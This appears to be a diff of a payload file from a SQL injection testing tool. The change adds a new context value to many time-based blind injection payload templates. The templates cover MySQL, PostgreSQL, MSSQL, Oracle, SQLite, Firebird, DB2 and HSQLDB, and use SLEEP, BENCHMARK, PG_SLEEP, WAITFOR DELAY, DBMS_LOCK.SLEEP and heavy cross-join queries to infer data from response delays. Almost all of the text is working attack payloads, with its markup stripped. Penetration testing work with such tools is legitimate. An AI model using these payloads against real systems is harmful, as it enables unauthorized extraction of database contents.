'[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END @@ -1281,7 +1281,7 @@ 5 4 3 - 1,2,3 + 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END @@ -1301,7 +1301,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END @@ -1322,7 +1322,7 @@ 5 5 3 - 1,2,3 + 1,2,3,9 1 OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END @@ -1390,7 +1390,7 @@ 5 2 1 - 1,2,3 + 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) @@ -1410,7 +1410,7 @@ 5 3 1 - 1,2,3 + 1,2,3,9 3 (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) @@ -1430,7 +1430,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END)) @@ -1450,7 +1450,7 @@ 5 4 1 - 1,2,3 + 1,2,3,9 3 ([INFERENCE] AND SLEEP([SLEEPTIME])) @@ -1469,7 +1469,7 @@ 5 5 1 - 1,2,3 + 1,2,3,9 3 ELT([INFERENCE],SLEEP([SLEEPTIME])) @@ -1488,7 +1488,7 @@ 5 5 1 - 1,2,3 + 1,2,3,9 3 MAKE_SET([INFERENCE],SLEEP([SLEEPTIME])) @@ -1507,7 +1507,7 @@ 5 3 1 - 1,2,3 + 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) ELSE [RANDNUM] END) @@ -1527,7 +1527,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 3 (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) @@ -1546,7 +1546,7 @@ 5 3 1 - 1,3 + 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN WAITFOR DELAY '0:0:[SLEEPTIME]' ELSE [RANDNUM]*(SELECT [RANDNUM] FROM master..sysdatabases) END)) @@ -1567,7 +1567,7 @@ 5 4 2 - 1,3 + 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) @@ -1589,7 +1589,7 @@ 5 3 1 - 1,3 + 1,3,9 3 BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; @@ -1608,7 +1608,7 @@ 5 3 1 - 1,3 + 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) @@ -1627,7 +1627,7 @@ 5 4 2 - 1,3 + 1,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) @@ -1646,7 +1646,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 3 (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) @@ -1666,7 +1666,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 3 IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) @@ -1686,7 +1686,7 @@ 5 5 2 - 1,3 + 1,3,9 3 (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) @@ -1705,7 +1705,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 3 (SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) @@ -1725,7 +1725,7 @@ 5 4 2 - 1,2,3 + 1,2,3,9 1 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) @@ -1745,7 +1745,7 @@ 5 5 2 - 1,2,3 + 1,2,3,9 1 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0)))